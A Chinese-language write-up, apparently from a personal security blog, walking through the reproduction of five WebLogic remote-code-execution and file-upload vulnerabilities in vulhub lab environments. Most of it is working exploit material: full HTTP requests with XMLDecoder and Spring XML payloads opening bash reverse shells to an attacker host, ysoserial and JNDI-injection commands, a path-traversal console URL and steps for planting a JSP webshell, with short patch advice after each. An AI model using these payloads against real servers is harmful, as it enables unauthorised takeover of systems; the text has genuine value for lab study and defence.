简介
漏洞环境:如不另作特殊说明,漏洞环境均为vulhub
参考链接:
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
CVE-2017-10271
参考链接:
- https://www.cnblogs.com/xyongsec/archive/2019/07/03/11125511.html
- Windows利用方式:https://www.lsablog.com/networksec/penetration/cve-2017-10271-repeat/
WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。
受影响WebLogic版本:
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.1.0
- 12.2.1.2.0
漏洞复现
漏洞验证:访问该链接,http://服务端IP:7001/wls-wsat/CoordinatorPortType11 ,出现下图说明可能存在漏洞。
我最开始是自己抓包,然后修改请求方式为POST并且添加请求体,却一直415,之后把请求头中Host下面的部分全部替换为网上的内容,成了。。。
攻击端nc监听9999端口,反弹shell请求包:
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: your-ip:7001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/攻击端IP/9999 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
反弹shell之后,vulhub环境下攻击端接收到服务端的用户直接是root。
漏洞修复
- 打补丁
- 删除wls-wsat组件
参考链接:
CVE-2018-2628
参考链接:
在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
受影响WebLogic版本:
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.2.0
- 12.2.1.3.0
漏洞复现
看网上说用nmap的脚本进行复现,但是执行了之后并没有看出啥。重新试了下,原来是多加了sV
参数的原因,通过nmap的脚本可以看到服务器的weblogic使用了T3
协议。
复现该漏洞需要启动一个JRMP Server
,可以利用ysoserial
启动一个JRMP Server
。下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta,最好使用Java8版本启动。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 "命令"
利用公开exp进行攻击测试,链接:https://www.exploit-db.com/exploits/44553。
下载exp后,构造攻击payload进行测试。payload如下:
python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
python exploit.py 139.198.172.202 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 139.198.172.202 9999 JRMPClient
# 攻击中使用的python是python2版本,python3版本会报错。
漏洞修复
- 关闭T3服务,或控制T3服务的访问权限(临时)。
- 打官方补丁。
CVE-2018-2894(Weblogic任意文件上传漏洞复现)
参考链接:
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 生产模式
下默认不开启
,所以该漏洞有一定限制,漏洞存在页面在/ws_utc/config.do。
受影响版本:
- weblogic 10.3.6.0
- weblogic 12.1.3.0
- weblogic 12.2.1.2
- weblogic 12.2.1.3
漏洞复现
启动docker环境。
环境启动成功后,访问未授权页面http://139.198.172.202:7001/ws_utc/config.do
,访问结果如下:
该漏洞利用需要前置条件,使用docker-compose logs | grep password
命令查看密码。
回到http://139.198.172.202:7001/console/
页面,等待登录页面加载。用户名:weblogic;密码:TRe1Brf4,不同靶机的密码可能不一样。
登录成功后,点击base_domain
,然后点高级
。勾选启用web服务测试页
选项,再在页面最下面点击保存
。
再次访问未授权页面,将Work Home Dr
的文本框内容修改为u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。因为访问这个目录不需要权限,然后点击提交
。
这个时候配置已经全部完成,可以测试上传文件了。
点击安全
,点击添加
按钮,设置名字
与keysotre密码
根据自己喜好设置,上传的Keystore
文件为冰蝎jsp webshell。上传的时候需要使用burp拦截抓包,在上传的响应报文中有一个时间戳,weblogic会根据这个时间戳重新命名上传的文件,所以要提前获取到。
到这一步很奇怪,访问一直404。
我进入容器内部发现文件是被创建了的,但访问就是报404。参考安全脉搏的文章,重新登录下:https://www.secpulse.com/archives/116860.html。
如果解析成功,上传成功后冰蝎连接,连接路径为:
http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]
。
漏洞修复
从复现中可以看到,该漏洞的利用条件不是那么好满足的,可以从这方面入手进行修复。官方补丁链接:http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
Weblogic后台部署war包
参考链接:https://www.cnblogs.com/xiaozi/p/6117339.html
CVE-2020-14882/14883(未授权命令执行漏洞)
参考链接:
10月21日,Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。
此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
漏洞影响版本:
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0
- 12.2.1.4.0
- 14.1.1.0.0
漏洞复现
启动环境。
写入文件payload:
http://服务端IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test');"
反弹shell:
首先需要构造一个恶意xml文件,启动http环境,让被攻击的weblogic能够访问到。代码如下(注意修改IP地址和nc监听端口):
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/port 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
nc启用监听,然后执行下面GET请求:
http://服务端IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击ip/test.xml")
得到反弹shell:
漏洞修复
目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。
Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
参考链接:https://www.oracle.com/security-alerts/cpuoct2020.html
在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。
CVE-2021-2109(远程代码执行)
参考链接:
- https://mp.weixin.qq.com/s/ls9Qo4uBE-V0zaNx6_TLuA
- https://blog.csdn.net/qq_42084004/article/details/113403430
- https://www.freebuf.com/vuls/261710.html
- https://www.bilibili.com/read/cv9569202
2021年1月Oracle发布了安全更新补丁,包含Oracle产品系列中的329个新安全补丁。此次公告中特别提到了,2020年11月1日发布的Oracle WebLogic Server关于CVE-2020-14750漏洞的安全公告。强烈建议客户应用此补丁更新,及此公告中的其他补丁。CVE编号CVE-2021-2109,该漏洞为Weblogic 的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。
漏洞影响版本:
- Weblogic Server 10.3.6.0.0
- Weblogic Server 12.1.3.0.0
- Weblogic Server 12.2.1.3.0
- Weblogic Server 12.2.1.4.0
- Weblogic Server 14.1.1.0.0
漏洞复现
启动环境,vulhub中没有该漏洞的环境,使用CVE-2020-14882
代替。
下载LDAP并启动,LDAP的运行需要java1.8环境。下载地址:https://github.com/feihong-cs/JNDIExploit/releases。本次复现使用的是1.11版本。
使用java 1.8版本启动,命令java -jar JNDIExploit-v1.11.jar -i [攻击端IP]
。
访问目标路径:http://139.198.172.202:7001/console/css/%252e%252e%252f/consolejndi.portal
,使用burp拦截抓包,将GET请求方式改为POST,并构造数据包,注意IP地址中第三位和第四位中间是分号;
。
POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 服务端IP:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=QOBObrqaFesoHZn2CPYDDiURPTylOq28vVljbn-u242XLuXB8bNP!-1825720843
cmd: pwd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://49.233.160;143:1389/Basic/WeblogicEcho;AdminServer%22)
漏洞修复
参考链接:https://blog.csdn.net/weixin_38896449/article/details/115209541
- 及时下载官方补丁进行升级修复。下载地址如下:https://www.oracle.com/security-alerts/cpujan2021.html
- 关闭后台/console/console.portal的访问权限。
- 修改后台默认地址。
进入默认的控制台,例如“localhost/console”,进入后点击左侧的 “域名称”-“高级选项”-“保存”,重启服务并清缓存。